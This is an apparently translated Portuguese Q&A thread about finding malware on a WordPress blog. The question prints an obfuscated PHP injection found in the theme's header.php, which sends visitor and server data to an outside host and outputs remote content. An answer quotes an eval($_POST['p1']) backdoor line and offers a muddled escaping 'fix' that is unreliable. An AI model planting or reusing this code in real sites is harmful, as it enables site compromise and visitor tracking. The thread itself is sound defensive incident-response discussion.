Possível malware no meu servidor, como pesquisar a fonte?

4

Alguns usuários de um de nossos blogs detectaram que, ao carregar a página do Windows com antivírus, como Avast ou NOD32, aparece uma mensagem.

A mensagem é algo como

"O endereço remoto foi bloqueado. URL: "unloadpupil.org/u4offvzxwifsh2q/" Endereço IP: 64.191.81.117: 80

Eu tentei encontrar esse URL ou o IP no banco de dados do meu blog, mas sem sorte, não há nenhum rastro desse URL em nosso conteúdo, então estou muito chateado que alguma coisa realmente está acontecendo sem que saibamos.

Existe alguma maneira de encontrar a origem do problema?

***** Atualização ********

O arquivo phpAV sugerido pelo Mangia é uma opção possível, mas eu instalei o Plugin Antivírus do WordPress , e Ele me deu uma lista de possíveis arquivos afetados por malware. No tema do meu site o header.php tinha no final o seguinte texto:

<?php
error_reporting(0);
$cf=strrev('edo'.'ced'.'_46esab');$counter=$cf('aHR0cDovL3NpdGVzY3VscHRvci5iaXovbC5waHA/aWQ9').md5($_SERVER['SERVER_NAME']);
$data=array('HTTP_ACCEPT_CHARSET','HTTP_ACCEPT_LANGUAGE','HTTP_HOST','HTTP_REFERER',
'HTTP_USER_AGENT','HTTP_QUERY_STRING','REMOTE_ADDR','REQUEST_URI','REQUEST_METHOD','SCRIPT_FILENAME');
foreach($data as $val){$t[]=$_SERVER[$val];}$u=$counter.'&data='.base64_encode(serialize($t));$fn=file_get_contents($u);
if(!$fn||strlen($fn)<4){ob_start();include($u);$fn=ob_get_contents();ob_clean();}
if($fn&&strlen($fn)>4){list($crc,$enc)=explode('::',$fn);if(md5($enc)==$crc){echo $cf($enc);}}
?>

Isso, de acordo com um mensagem no StackExchange , pode ser malware. Eu deletei e estou procurando por outros problemas.

    
por javipas 30.07.2011 / 23:59

2 respostas

1

Primeiro altere todas as senhas de ftp e não conte a ninguém até que você corrija isso. É obvio que alguém que tenha uma senha, tenha um vírus.

Verifique o arquivo .htaccess (também, verifique o número de linhas dentro do .htaccess). Eles geralmente adicionam > 100 linhas em branco dentro do .htaccess (assim você acha que o arquivo está vazio) e, em seguida, o redirecionamento ou conteúdo similar.

Verifique os arquivos de modelo de blog porque, se você não encontrou nada dentro do banco de dados, provavelmente ele está localizado dentro de arquivos de modelo (geralmente código JavaScript)

Além disso, se a sua passagem de ftp foi quebrada, é possível que você tenha algo mais carregado (shell, por exemplo). Para procurar por funções problemáticas dentro de arquivos php, verifique o próximo script.

link

    
por 31.07.2011 / 00:37
0

Antes de ler este post, perceba que estou apenas saindo da pasta de papel pela qual examinei. Não sendo capaz de ver toda a base de código, posso estar muito errado sobre o estado sanitário de $_POST['p1']) . No entanto, eval () 'ing qualquer variável é realmente uma prática ruim, por isso, mesmo se eu estiver errado, este post ainda é relevante.

Parece que você está eval () usando dados não higienizados nesse script php. O seguinte:

eval($_POST['p1']);

é além de perigoso na maioria das configurações . A menos que tenha safe_mode ativado, isso permite o acesso ao shell (via injeção de shell_exec() ) a qualquer pessoa que possa definir a variável p1 via POST , que é qualquer um com um navegador da Web e uma conexão com a Internet. Mesmo se você tiver safe_mode ativado, isso não é seguro. O safe_mode do PHP executa a entrada através de escapeshellcmd() , o que não escapa ao '!' caractere corretamente, que ainda pode ser usado para executar código baseado em referências de histórico, que é o que o '!' personagem representa.

Certifique-se de que, antes de EVER enviar uma variável para eval() , ela seja adequadamente eliminada e sanitizada. Nesse caso, algo como eval(str_replace('!', '\!', escapeshellarg($_POST['p1'])); seria capaz de impedir que um usuário fornecesse um comando shell por meio do eval. No entanto, como a intenção do código parece ser executar o que estiver em $_POST['p1']) , você pode querer examinar um novo design do modelo. Se o propósito da base de código é fornecer código PHP válido em $_POST['p1']) , será quase impossível garantir que o código não seja malicioso.

Observe que, se você estiver executando em uma caixa do Windows, o! caractere não faz nada e é um caractere de shell válido.

Observe também que a partir do PHP 5,3 safe_mode é considerado depreciado, o que significa que depender dele é uma idéia terrível em primeiro lugar.

Se um usuário mal-intencionado souber de uma vulnerabilidade de eval() , ele poderá injetar o malware inicialmente mencionado em sua postagem. Se minha análise estiver correta e $_POST['p1'] não estiver sanitizado, esse pode ser o vetor de ataque usado pelo usuário mal-intencionado.

Espero que seus problemas de malware sejam resolvidos rapidamente!

    
por 01.08.2011 / 01:47